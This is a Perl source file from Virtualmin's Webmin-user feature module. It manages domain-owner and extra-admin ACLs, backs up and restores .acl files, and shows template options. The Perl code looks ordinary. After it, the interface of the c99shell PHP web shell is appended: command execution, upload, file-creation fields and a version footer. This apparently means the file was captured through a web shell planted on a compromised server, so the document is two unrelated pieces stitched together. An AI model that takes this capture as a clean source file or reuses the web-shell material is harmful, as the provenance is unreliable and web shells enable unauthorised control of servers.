foreach my $d (&list_domains()) {
    if ($d->{'webmin'} && $config{'webmin'} &&
        (!defined($tid) || $d->{'template'} == $tid)) {
        &modify_webmin($d, $d);
        }
    }
&pop_all_print();
&release_lock_webmin();
&$second_print($text{'setup_done'});
&register_post_action(\&restart_webmin);
}

# refresh_webmin_user(&domain, [&old-domain])
# Calls modify_webmin for a domain or the appropriate parent. This will
# update the ACL for the domain's Webmin login, create and update extra
# admins, and possibly update the reseller too.
sub refresh_webmin_user
{
local ($d, $oldd) = @_;
my $has_oldd = $oldd ? 1 : 0;
$oldd ||= $d;
local $wd = $d->{'parent'} ? &get_domain($d->{'parent'}) : $d;
local $oldwd = $oldd->{'parent'} ? &get_domain($oldd->{'parent'}) : $oldd;
if ($wd->{'webmin'}) {
    &modify_webmin($wd, $oldwd);
    }
if ($wd->{'reseller'} && $virtualmin_pro) {
    # Update all resellers on the domain
    foreach my $r (split(/\s+/, $wd->{'reseller'})) {
        my $rinfo = &get_reseller($r);
        if ($rinfo) {
            &modify_reseller($rinfo, $rinfo);
            }
        }
    }
if ($oldwd->{'reseller'} && $virtualmin_pro && $has_oldd) {
    # Update resellers who were previously owners of the domain
    foreach my $r (split(/\s+/, $oldwd->{'reseller'})) {
        my $rinfo = &get_reseller($r);
        if ($rinfo) {
            &modify_reseller($rinfo, $rinfo);
            }
        }
    }
}

# save_module_acl_logged(&acl, user, module)
# Save an ACL file, with locking and tight permissions
sub save_module_acl_logged
{
my ($acl, $user, $mod) = @_;
my $afile = "$config_directory/$mod/$user.acl";
&lock_file($afile);
&save_module_acl($acl, $user, $mod);
&unlock_file($afile);
&set_ownership_permissions(undef, undef, 0600, $afile);
}

# update_extra_webmin(&domain, [force-disable])
# Creates, updates or deletes Webmin users to be the extra admins for a
# virtual server.
sub update_extra_webmin
{
local ($d, $forcedis) = @_;
local @admins = &list_extra_admins($d);
local %admins = map { $_->{'name'}, $_ } @admins;
local %webmins;
local @dis = split(/,/, $d->{'disabled'});
local $dis = !defined($forcedis) ? &indexof("webmin", @dis) >= 0
                     : $forcedis;

# Get current users
&require_acl();
foreach my $u (&acl::list_users()) {
    if (&indexof($module_name, @{$u->{'modules'}}) >= 0) {
        local %acl = &get_reseller_acl($u->{'name'});
        if ($acl{'admin'} && $acl{'admin'} eq $d->{'id'}) {
            # Found an admin for this domain
            if ($admins{$u->{'name'}}) {
                $webmins{$u->{'name'}} = $u;
                }
            else {
                # Who shouldn't exist!
                &acl::delete_user($u->{'name'});
                }
            }
        }
    }

# Create or update users
foreach my $admin (@admins) {
    local $wuser = $webmins{$admin->{'name'}};
    local $pass = $forcedis ? "*LK*" :
            &acl::encrypt_password($admin->{'pass'});
    if ($wuser) {
        # User already exists .. make sure he's an extra admin
        local %aacl = &get_module_acl($admin->{'name'}, $module_name);
        if (!$aacl{'admin'}) {
            next;
            }

        # Update password (if changed)
        if ($pass eq "*LK*" ||
            &acl::encrypt_password($admin->{'pass'}, $wuser->{'pass'})
             ne $wuser->{'pass'}) {
            $wuser->{'pass'} = $pass;
            &acl::modify_user($wuser->{'name'}, $wuser);
            }
        }
    else {
        # Need to create user
        $wuser = { 'name' => $admin->{'name'},
               'pass' => $pass,
               'notabs' => !$config{'show_tabs'},
               'modules' => [ ],
               'theme' => $config{'webmin_theme'} eq '*' ? undef :
                      $config{'webmin_theme'} eq '' ? '' :
                       $config{'webmin_theme'}
            };
        &acl::create_user($wuser);
        }
    local %acl;
    foreach my $ed (@edit_limits) {
        if ($d->{'edit_'.$ed}) {
            $acl{'edit_'.$ed} = $admin->{'edit_'.$ed};
            }
        }
    $acl{'edit'} = $acl{'edit_domain'} ? 2 : 0;
    $acl{'create'} = $d->{'domslimit'} && $admin->{'create'} ? 2 : 0;
    $acl{'norename'} = $d->{'norename'} || $admin->{'norename'};
    $acl{'nodbname'} = $d->{'nodbname'} || $admin->{'nodbname'};
    $acl{'forceunder'} = $d->{'forceunder'} || $admin->{'forceunder'};
    &set_user_modules($d, $wuser, \%acl,
              !$admin->{'features'}, !$admin->{'modules'}, 1,
              $admin->{'doms'} ? [ split(/\s+/, $admin->{'doms'}) ]
                       : undef);
    }
}

# backup_webmin(&domain, file, &options)
# Create a tar file of all .acl files, for the server owner and extra admins
sub backup_webmin
{
local ($d, $file, $opts, $homefmt, $increment, $asd, $allopts, $key) = @_;
local $compression = $allopts->{'dir'}->{'compression'};
local $destfile = $file.".".&compression_to_suffix($compression);
&$first_print($text{'backup_webmin'});
&require_acl();

# Write out .acl files for domain owner and extra admins, if they are in 
# MySQL or LDAP, and if the .acl files don't already exist
my ($wuser) = &acl::get_user($d->{'user'});
my @nonlocal;
push(@nonlocal, $wuser) if ($wuser && $wuser->{'proto'});
foreach my $admin (&list_extra_admins($d)) {
    my ($auser) = &acl::get_user($admin->{'name'});
    push(@nonlocal, $auser) if ($auser && $auser->{'proto'});
    }
my @acltemp;
foreach my $u (@nonlocal) {
    foreach my $m ("", @{$u->{'modules'}}) {
        my %acl = &get_module_acl($u->{'name'}, $m, 0, 1);
        if (%acl) {
            my $acltemp = "$config_directory/$m/$u->{'name'}.acl";
            if (!-r $acltemp) {
                &write_file($acltemp, \%acl);
                push(@acltemp, $acltemp);
                }
            }
        }
    }

# Add .acl files for domain owner
local @files;
if (-r "$config_directory/$d->{'user'}.acl") {
    push(@files, "$d->{'user'}.acl");
    }
local @otheracls = glob("$config_directory/*/$d->{'user'}.acl");
@otheracls = grep { !/\*/ } @otheracls;
if (@otheracls) {
    push(@files, "*/$d->{'user'}.acl");
    }

# Add .acl files for extra admins
foreach my $admin (&list_extra_admins($d)) {
    push(@files, "$admin->{'name'}.acl");
    local @otheracls = glob("$config_directory/*/$admin->{'name'}.acl");
    @otheracls = grep { !/\*/ } @otheracls;
    if (@otheracls) {
        push(@files, "*/$admin->{'name'}.acl");
        }
    }

if (!@files) {
    &$second_print($text{'backup_webminnofiles'});
    return 1;
    }

# Tar them all up
local $temp = &transname();
@files = &expand_glob_to_files($config_directory, @files);
local $out = &backquote_command(&make_archive_command(
        $compression, $config_directory, $temp, @files)." 2>&1");
my $ex = $?;
if (!$ex) {
    &copy_write_as_domain_user($d, $temp, $destfile);
    }
&unlink_file($temp);
&unlink_file(@acltemp) if (@acltemp);
if ($ex) {
    &$second_print(&text('backup_webminfailed', "<pre>$out</pre>"));
    return 0;
    }
else {
    &$second_print($text{'setup_done'});
    return 1;
    }
}

# restore_webmin(&domain, file, &options)
# Extract all .acl files from the backup
sub restore_webmin
{
local ($d, $file, $opts) = @_;
local $srcfile = $file;
if (!-r $srcfile) {
    ($srcfile) = glob("$file.*");
    }
&$first_print($text{'restore_webmin'});
&require_acl();

&obtain_lock_webmin($_[0]);
local $out = &backquote_command(
    &make_unarchive_command($config_directory, $srcfile)." 2>&1");
local $rv;
if ($?) {
    &$second_print(&text('backup_webminfailed', "<pre>$out</pre>"));
    $rv = 0;
    }
else {
    &$second_print($text{'setup_done'});
    $rv = 1;

    # Re-load .acl files for domain owner and extra admins, if they are in
    # MySQL or LDAP
    my ($wuser) = &acl::get_user($d->{'user'});
    my @nonlocal;
    push(@nonlocal, $wuser) if ($wuser && $wuser->{'proto'});
    foreach my $admin (&list_extra_admins($d)) {
        my ($auser) = &acl::get_user($admin->{'name'});
        push(@nonlocal, $auser) if ($auser && $auser->{'proto'});
        }
    foreach my $u (@nonlocal) {
        foreach my $m ("", @{$u->{'modules'}}) {
            my %acl;
            my $acltemp = "$config_directory/$m/$u->{'name'}.acl";
            &read_file($acltemp, \%acl) || next;
            &unlink_file($acltemp);
            &save_module_acl(\%acl, $u->{'name'}, $m);
            }
        }
    }

&release_lock_webmin($_[0]);
return $rv;
}

# links_always_webmin(&domain)
# Returns a link to the Webmin Actions Log module
sub links_always_webmin
{
my ($d) = @_;
my %miniserv;
&get_miniserv_config(\%miniserv);
return ( ) if ($miniserv{'log'} eq '0');
# If login name doesn't equal username in search, it's useless,
# this is why we will search on currently selected domain name
# in description, so it works fine for both master/reseller and
# server owner
return ( { 'mod' => 'webminlog',
       'desc' => $text{'links_webminlog_dom'},
       'page' => "search.cgi?uall=1&desc=".&urlize($d->{'dom'})."&search_sub_title=".&urlize(&domain_in($d)).
             "&mall=1&tall=1&fall=1&search_title=$text{'links_webminlog_dom'}&no_return=1",
       'cat' => 'logs',
     } );
return ( );
}

# show_template_webmin(&tmpl)
# Outputs HTML for editing webmin-user-related template options
sub show_template_webmin
{
local ($tmpl) = @_;

# Global ACL on or off
if (!$tmpl->{'default'}) {
    local @gacl_fields = ( "gacl_umode", "gacl_uusers", "gacl_ugroups",
                   "gacl_groups", "gacl_root" );
    local $dis1 = &js_disable_inputs(\@gacl_fields, [ ]);
    local $dis2 = &js_disable_inputs([ ], \@gacl_fields);
    print &ui_table_row(&hlink($text{'tmpl_gacl'}, "template_gacl"),
        &ui_radio("gacl", int($tmpl->{'gacl'}),
           [ [ 0, $text{'default'}, "onClick='$dis1'" ],
             [ 1, $text{'tmpl_gaclbelow'}, "onClick='$dis2'" ] ]));
    }

# Global ACL users
print &ui_table_row(&hlink($text{'tmpl_gaclu'}, "template_gacl_umode"),
    &ui_radio("gacl_umode", int($tmpl->{'gacl_umode'}),
    [ [ 0, $text{'tmpl_gacl0'}." ".
           &ui_textbox("gacl_uusers",
           $tmpl->{'gacl_umode'} == 0 ? $tmpl->{'gacl_uusers'} : "",
         40)."<br>\n" ],
      [ 1, $text{'tmpl_gacl1'}." ".
           &ui_textbox("gacl_ugroups",
           $tmpl->{'gacl_umode'} == 1 ? $tmpl->{'gacl_ugroups'} :"",
           40) ] ]));

# Global ACL groups
print &ui_table_row(&hlink($text{'tmpl_gaclg'}, "template_groups"),
            &ui_textbox("gacl_groups", $tmpl->{'gacl_groups'}, 40));

# Global ACL root
print &ui_table_row(&hlink($text{'tmpl_gaclr'}, "template_root"),
            &ui_textbox("gacl_root", $tmpl->{'gacl_root'}, 40));

# Extra admin prefix
print &ui_table_row(
    &hlink($text{'tmpl_extra_prefix'}, "template_extra_prefix"),
    &none_def_input("extra_prefix", $tmpl->{'extra_prefix'},
                $text{'tmpl_sel'}, 0, 0, undef, [ "extra_prefix" ])." ".
    &ui_textbox("extra_prefix", $tmpl->{'extra_prefix'} eq "none" ? undef :
                  $tmpl->{'extra_prefix'}, 15));

# Webmin group for domain owner
&require_acl();
local @groups = &acl::list_groups();
if (@groups) {
    print &ui_table_row(
      &hlink($text{'tmpl_wgroup'}, "template_webmin_group"),
        &ui_select("webmin_group", $tmpl->{'webmin_group'},
          [ $tmpl->{'default'} ? ( )
                   : ( [ "", "&lt;$text{'default'}&gt;" ] ),
        [ "none", "&lt;$text{'newtmpl_none'}&gt;" ],
        map { [ $_->{'name'} ] } &acl::list_groups() ]));
    }
}

# parse_template_webmin(&tmpl)
# Updates webmin-user-related template options from %in
sub parse_template_webmin
{
local ($tmpl) = @_;

# Save global ACL
$tmpl->{'gacl'} = $in{'gacl'};
$tmpl->{'gacl_umode'} = $in{'gacl_umode'};
$tmpl->{'gacl_uusers'} = $in{'gacl_uusers'};
$tmpl->{'gacl_ugroups'} = $in{'gacl_ugroups'};
$tmpl->{'gacl_groups'} = $in{'gacl_groups'};
$tmpl->{'gacl_root'} = $in{'gacl_root'};
$tmpl->{'extra_prefix'} = &parse_none_def("extra_prefix");
if ($in{'webmin_group'} && $in{'webmin_group'} ne "none") {
    &require_acl();
    local ($group) = grep { $_->{'name'} eq $in{'webmin_group'} }
                  &acl::list_groups();
    &indexof($module_name, @{$group->{'members'}}) < 0 ||
        &error($text{'tmpl_ewgroup'});
    }
$tmpl->{'webmin_group'} = $in{'webmin_group'};
}

# get_reseller_acl(username)
# Returns just the ACL for some Webmin user, in this module
sub get_reseller_acl
{
my ($name) = @_;
return &get_module_acl($name);
}

# add_user_module_acl(user, mod)
# Add a module to the Webmin ACL for a user
sub add_user_module_acl
{
my ($user, $mod) = @_;
my %acl;
my $f = &acl_filename();
&lock_file($f);
&read_acl(undef, \%acl);
&open_lock_tempfile(ACL, ">$f");
foreach $u (keys %acl) {
        my @mods = @{$acl{$u}};
        if ($u eq $user) {
                @mods = &unique(@mods, $mod);
                }
        &print_tempfile(ACL, "$u: ",join(' ', @mods),"\n");
        }
&close_tempfile(ACL);
&unlock_file($f);
}

# obtain_lock_webmin()
# Lock a flag file indicating that Virtualmin is managing Webmin users.
# Real locking is done in acl-lib.pl.
sub obtain_lock_webmin
{
return if (!$config{'webmin'});
&obtain_lock_anything();
if ($main::got_lock_webmin == 0) {
    &lock_file("$module_config_directory/webminlock");
    }
$main::got_lock_webmin++;
}

# release_lock_webmin()
# Release the lock flag file
sub release_lock_webmin
{
return if (!$config{'webmin'});
if ($main::got_lock_webmin == 1) {
    &unlock_file("$module_config_directory/webminlock");
    }
$main::got_lock_webmin-- if ($main::got_lock_webmin);
&release_lock_anything();
}

$done_feature_script{'webmin'} = 1;

1;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--